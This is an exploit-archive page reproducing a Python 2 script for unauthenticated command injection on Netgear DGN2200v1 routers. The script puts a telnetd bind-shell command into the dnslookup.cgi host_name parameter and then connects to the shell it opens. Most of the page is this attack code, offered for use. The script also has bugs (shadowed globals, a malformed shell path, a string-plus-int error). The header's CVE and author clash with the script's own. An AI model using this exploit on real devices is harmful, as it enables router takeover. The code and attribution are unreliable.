Advertisement






Netgear DGN2200v1 Remote Command Execution

CVE Category Price Severity
CVE-2021-31755 CWE-78 $5,000 High
Author Risk Exploitation Type Date
Dawid Golunski High Remote 2021-07-07
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.901 0.95

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070047

Below is a copy:

Netgear DGN2200v1 Remote Command Execution
# Exploit Title: Netgear DGN2200v1 - Remote Command Execution (RCE) (Unauthenticated)
# Date: 02.07.2021
# Exploit Author: SivertPL
# Vendor Homepage: https://www.netgear.com/
# Version: All prior to v1.0.0.60

#!/usr/bin/python

"""
NETGEAR DGN2200v1 Unauthenticated Remote Command Execution

Author: SivertPL ([email protected])
Date: 02.07.2021
Status: Patched in some models
Version: All prior to v1.0.0.60
Impact: Critical 

CVE: No CVE number assigned
PSV: PSV-2020-0363, PSV-2020-0364, PSV-2020-0365


References: 
    1) https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
    2) https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1


The exploit script only works on UNIX-based systems.

This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.

"""

import sys
import requests
import os

target_ip = "192.168.0.1"
telnet_port = 666
sent = False

def main():
    if len(sys.argv) < 3:
        print "./dgn2200_pwn.py <router ip> <backdoor-port>"
        exit()

    target_ip = sys.argv[1]
    telnet_port = int(sys.argv[2])
    print "[+] Sending the payload to " + target_ip + " and opening the backdoor ..."
    send_payload()
    print "[+] Trying to connect to the backdoor for " + str(telnet_port) + " ..."
    print "[!] If it fails to connect it means the target is probably not vulnerable"
    spawn_shell()

def send_payload():
    try:
        requests.get("http://" + target_ip + "/dnslookup.cgi?host_name=www.google.com; /usr/sbin/telnetd -p " + str(telnet_port) + " -l /bin/sh" + str(telnet_port) + "&lookup=Lookup&ess_=true")
        sent = True
    except Exception:
        sent = False
        print "[-] Unknown error, target might not be vulnerable."

def spawn_shell():
    if sent:
        print "[+] Dropping a shell..."
        os.system("telnet " + target_ip + " " + telnet_port)
    else:
        exit()


if __name__ == "__main__":
    main()
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum